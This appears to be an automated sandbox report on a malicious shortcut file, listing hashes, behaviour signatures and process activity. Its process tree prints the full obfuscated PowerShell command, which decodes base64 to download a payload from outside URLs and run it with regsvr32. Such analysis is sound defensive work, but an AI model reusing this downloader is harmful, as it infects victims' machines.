Analysis
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max time kernel
42s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
27-05-2022 08:37
Static task
static1
Behavioral task
behavioral1
Sample
44-76912499472.lnk
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
General
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Target
44-76912499472.lnk
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Size
3KB
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MD5
afa789a5a4197b43071da4d94067d346
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SHA1
f5ef0b10c608fb042edae39919903b4c7510d49b
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SHA256
9e90586b5881001bffc59e5ab90808e1470b787e1095052602cece861c0648d6
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SHA512
2e5d94eb4d8d9fefe0dae56a7384673ae4f08ae1dc3f14bd63a01ca933689d555629b6b7acacb1b40a7ed0839ba99f9ce5f5e0791bdb09cb50b6dcb198a88808
Score
3/10
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1752 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 1520 wrote to memory of 780 1520 cmd.exe cmd.exe PID 1520 wrote to memory of 780 1520 cmd.exe cmd.exe PID 1520 wrote to memory of 780 1520 cmd.exe cmd.exe PID 780 wrote to memory of 1752 780 cmd.exe powershell.exe PID 780 wrote to memory of 1752 780 cmd.exe powershell.exe PID 780 wrote to memory of 1752 780 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\44-76912499472.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX||p^owershell.^e^xe -c "&{$qbxoDL='IFdyaXRlLUhvc3QgIkNQWUlxIj';$ksGeW='skUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vdGhlZ2VlcnMuY29tL21lZGlhLzE4VEtRVTM2Vi8iLCJodHRwOi8vdGFsYml6LmNvbS9fX01BQ09TWC83WFY5c3ZuV2VEcS8iLCJodHRwOi8vdGhlc3Rld2FyZHNjby5jb20vZ0pSV0ZCR3ZLVlZ4akUvIiwiaHR0cHM6Ly90aGVhcmxlcGhvdG9ncmFwaHkuY29tL3dwL25ybVkvIiwiaHR0cHM6Ly90ZWNuaS1zb2Z0LmNvbS9BQ0NFU09SSU9TL1hxcC8iLCJodHRwOi8vdGl0YW5pdW1zcGFyZXBhcnRzLmNvbS93cC1pbmNsdWRlcy9vcmdkVExoTkF5N1NkZUsvIik7JHQ9Ind3bUF0TyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxnZEdESVJxbFdnLnFjUTtSZWdzdnIzMi5leGUgIiRkXGdkR0RJUnFsV2cucWNRIjticmVha30gY2F0Y2ggeyB9fQ==';$k=$qbxoDL+$ksGeW;$sfKoh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($k));$jphbot=$sfKoh;iex($jphbot)}"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "&{$qbxoDL='IFdyaXRlLUhvc3QgIkNQWUlxIj';$ksGeW='skUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vdGhlZ2VlcnMuY29tL21lZGlhLzE4VEtRVTM2Vi8iLCJodHRwOi8vdGFsYml6LmNvbS9fX01BQ09TWC83WFY5c3ZuV2VEcS8iLCJodHRwOi8vdGhlc3Rld2FyZHNjby5jb20vZ0pSV0ZCR3ZLVlZ4akUvIiwiaHR0cHM6Ly90aGVhcmxlcGhvdG9ncmFwaHkuY29tL3dwL25ybVkvIiwiaHR0cHM6Ly90ZWNuaS1zb2Z0LmNvbS9BQ0NFU09SSU9TL1hxcC8iLCJodHRwOi8vdGl0YW5pdW1zcGFyZXBhcnRzLmNvbS93cC1pbmNsdWRlcy9vcmdkVExoTkF5N1NkZUsvIik7JHQ9Ind3bUF0TyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxnZEdESVJxbFdnLnFjUTtSZWdzdnIzMi5leGUgIiRkXGdkR0RJUnFsV2cucWNRIjticmVha30gY2F0Y2ggeyB9fQ==';$k=$qbxoDL+$ksGeW;$sfKoh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($k));$jphbot=$sfKoh;iex($jphbot)}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/780-88-0x0000000000000000-mapping.dmp
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memory/1520-54-0x000007FEFBFD1000-0x000007FEFBFD3000-memory.dmpFilesize
8KB
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memory/1752-91-0x0000000000000000-mapping.dmp
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memory/1752-94-0x000007FEF3960000-0x000007FEF44BD000-memory.dmpFilesize
11.4MB
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memory/1752-95-0x0000000002724000-0x0000000002727000-memory.dmpFilesize
12KB
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memory/1752-96-0x000000000272B000-0x000000000274A000-memory.dmpFilesize
124KB